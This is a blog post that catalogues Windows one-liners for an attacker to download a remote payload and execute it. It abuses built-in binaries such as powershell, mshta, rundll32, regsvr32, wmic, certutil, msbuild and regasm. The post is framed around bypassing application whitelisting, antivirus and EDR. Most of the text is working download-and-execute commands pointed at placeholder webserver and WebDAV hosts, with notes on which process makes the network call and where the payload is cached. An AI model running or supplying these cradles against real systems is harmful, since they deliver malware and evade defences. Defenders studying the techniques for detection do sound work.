## [Windows oneliners to download remote payload and execute arbitrary code](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)

In the wake of the recent buzz and trend in using DDE for executing arbitrary command lines and eventually compromising a system, I asked myself « *what are the coolest command lines an attacker could use besides the famous powershell oneliner* » ?

These command lines need to fulfill the following prerequisites:

* allow for execution of arbitrary code – *because spawning calc.exe is cool, but has its limits huh ?*
* allow for downloading its payload from a remote server – *because your super malware/RAT/agent will probably not fit into a single command line, does it ?*
* be proxy aware – *because which company doesn’t use a web proxy for outgoing traffic nowadays ?*
* make use of as standard and widely deployed Microsoft binaries as possible – *because you want this command line to execute on as much systems as possible*
* be EDR friendly – *oh well, Office spawning cmd.exe is already a bad sign, but what about powershell.exe or cscript.exe downloading stuff from the internet ?*
* work in memory only – *because your final payload might get caught by AV when written on disk*

A lot of awesome work has been done by a lot of people, especially **@subTee**, regarding application whitelisting bypass, which is eventually what we want: execute arbitrary code abusing Microsoft built-in binaries.

Let’s be clear that **not all command lines will fulfill all of the above points**. Especially the « *do not write the payload on disk* » one, because most of the time the downloaded file will end-up in a local cache.

When it comes to downloading a payload from a remote server, it basically boils down to 3 options:

1. either the command itself accepts an HTTP URL as one of its arguments
2. the command accepts a UNC path (*pointing to a WebDAV server*)
3. the command can execute a small inline script with a download cradle

Depending on the version of Windows (*7, 10*), the local cache for objects downloaded over HTTP will be the **IE local cache**, in one the following location:

* **C:\Users\<username>\AppData\Local\Microsoft\Windows\Temporary Internet Files\**
* **C:\Users\<username>\AppData\Local\Microsoft\Windows\INetCache\IE\<subdir>**

On the other hand, files accessed via a UNC path pointing to a WebDAV server will be saved in the **WebDAV client local cache**:

* **C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs\_DAV**

When using a UNC path to point to the WebDAV server hosting the payload, keep in mind that it will only work if the WebClient service is started. In case it’s not started, in order to start it even from a low privileged user, simply prepend your command line with « pushd \\webdavserver & popd ».

In all of the following scenarios, I’ll mention which process is seen as performing the network traffic and where the payload is written on disk.

**Powershell**

Ok, this is by far the most famous one, but also probably the **most monitored one**, **if not blocked**. A well known proxy friendly command line is the following:

powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('<http://webserver/payload.ps1>')|iex"

Process performing network call: **powershell.exe**  
Payload written on disk: **NO** (*at least nowhere I could find using procmon !*)

Of course you could also use its encoded counterpart.

But you can also call the payload directly from a WebDAV server:

powershell -exec bypass -f [\\webdavserver\folder\payload.ps1](file:///\\webdavserver\folder\payload.ps1)

Process performing network call: **svchost.exe**  
Payload written on disk: **WebDAV client local cache**

## Cmd

Why make things complicated when you can have cmd.exe executing a batch file ? Especially when that batch file can not only execute a series of commands but also, more importantly, embed **any file type** (scripting, executable, anything that you can think of !). Have a look at my **Invoke-EmbedInBatch.ps1** script (heavily inspired by @xorrior work), and see that you can easily drop any binary, dll, script: <https://github.com/Arno0x/PowerShellScripts>  
So once you’ve been creative with your payload as a batch file, go for it:

cmd.exe /k < [\\webdavserver\folder\batchfile.txt](file:///\\webdavserver\folder\batchfile.txt)

Process performing network call: **svchost.exe**  
Payload written on disk: **WebDAV client local cache**

## Cscript/Wscript

Also very common, but the idea here is to download the payload from a remote server in one command line:

cscript //E:jscript [\\webdavserver\folder\payload.txt](file:///\\webdavserver\folder\payload.txt)

Process performing network call: **svchost.exe**  
Payload written on disk: **WebDAV client local cache**

## Mshta

Mshta really is the same family as cscript/wscript but with the added capability of executing an inline script which will download and execute a *scriptlet* as a payload:

mshta vbscript:Close(Execute("GetObject(""script:<http://webserver/payload.sct>"")"))

Process performing network call: **mshta.exe**  
Payload written on disk: **IE local cache**

You could also do a much simpler trick since mshta accepts a URL as an argument to execute an HTA file:

mshta <http://webserver/payload.hta>

Process performing network call: **mshta.exe**  
Payload written on disk: **IE local cache**

Eventually, the following also works, with the advantage of hiding mshta.exe downloading stuff:

mshta [\\webdavserver\folder\payload.hta](file:///\\webdavserver\folder\payload.hta)

Process performing network call: **svchost.exe**  
Payload written on disk: **WebDAV client local cache**

## Rundll32

A well known one as well, can be used in different ways. First one is referring to a standard DLL using a UNC path:

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:<http://webserver/payload.sct>");window.close();

Process performing network call: **rundll32.exe**  
Payload written on disk: **IE local cache**

## Wmic

Discovered by @subTee with @mattifestation, wmic can invoke an XSL (eXtensible Stylesheet Language) local or remote file, which may contain some scripting of our choice:

wmic os get /format:"<https://webserver/payload.xsl>"

Process performing network call: **wmic.exe**  
Payload written on disk: **IE local cache**

## Regasm/Regsvc

Regasm and Regsvc are one of those fancy application whitelisting bypass techniques discovered by @subTee. You need to create a specific DLL (can be written in .Net/C#) that will expose the proper interfaces, and you can then call it over WebDAV:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u [\\webdavserver\folder\payload.dll](file:///\\webdavserver\folder\payload.dll)

Process performing network call: **svchost.exe**  
Payload written on disk: **WebDAV client local cache**

## Regsvr32

Another one from @subTee. This ones requires a slightly different scriptlet from the mshta one above. First option:

regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll

Process performing network call: **regsvr32.exe**  
Payload written on disk: **IE local cache**

Second option using UNC/WebDAV:

regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll

Process performing network call: **svchost.exe**  
Payload written on disk: **WebDAV client local cache**

## Odbcconf

This one is close to the regsvr32 one. Also discovered by @subTee, it can execute a DLL exposing a specific function. To be noted is that the DLL file doesn’t need to have the .dll extension. It can be downloaded using UNC/WebDAV:

odbcconf /s /a {regsvr [\\webdavserver\folder\payload\_dll.txt](file:///\\webdavserver\folder\payload_dll.txt)}

Process performing network call: **svchost.exe**  
Payload written on disk: **WebDAV client local cache**

## Msbuild

Let’s keep going with all these .Net framework utilities discovered by @subTee. You can NOT use msbuild.exe using an inline tasks straight from a UNC path (actually, you can but it gets really messy), so I turned out with the following trick, using msbuild.exe only. Note that it will require to be called within a shell with ENABLEDELAYEDEXPANSION (/V option):

cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"

Process performing network call: **svchost.exe**  
Payload written on disk: **WebDAV client local cache**

Not sure this one is really useful as is. As we’ll see later, we could use other means of downloading the file locally, and then execute it with msbuild.exe.

## Combining some commands

After all, having the possibility to execute a command line (*from DDE for instance*) doesn’t mean you should restrict yourself to only one command. Commands can be chained to reach an objective.

For instance, the whole payload download part can be done with certutil.exe, again thanks to @subTee for discovering this:

certutil -urlcache -split -f http://webserver/payload payload

Now combining some commands in one line, with the InstallUtil.exe executing a specific DLL as a payload:

certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll

You could simply deliver an executable:

certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe

There are probably much other ways of achieving the same result, but these command lines do the job while fulfilling most of prerequisites we set at the beginning of this post !

One may wonder why I do not mention the usage of the bitsadmin utility as a means of downloading a payload. I’ve left this one aside on purpose simply because it’s not proxy aware.

## Payloads source examples

All the command lines previously cited make use of specific payloads:

* Various scriplets (.sct), for mshta, rundll32 or regsvr32
* XSL files for wmic
* HTML Application (.hta)
* MSBuild inline tasks (.xml or .csproj)
* DLL for InstallUtil or Regasm/Regsvc

You can get examples of most payloads from the awesome atomic-red-team repo on Github: <https://github.com/redcanaryco/atomic-red-team> from **@redcanaryco**.

You can also get all these payloads automatically generated thanks to the GreatSCT project on Github: <https://github.com/GreatSCT/GreatSCT>

You can also find some other examples on my gist: <https://gist.github.com/Arno0x>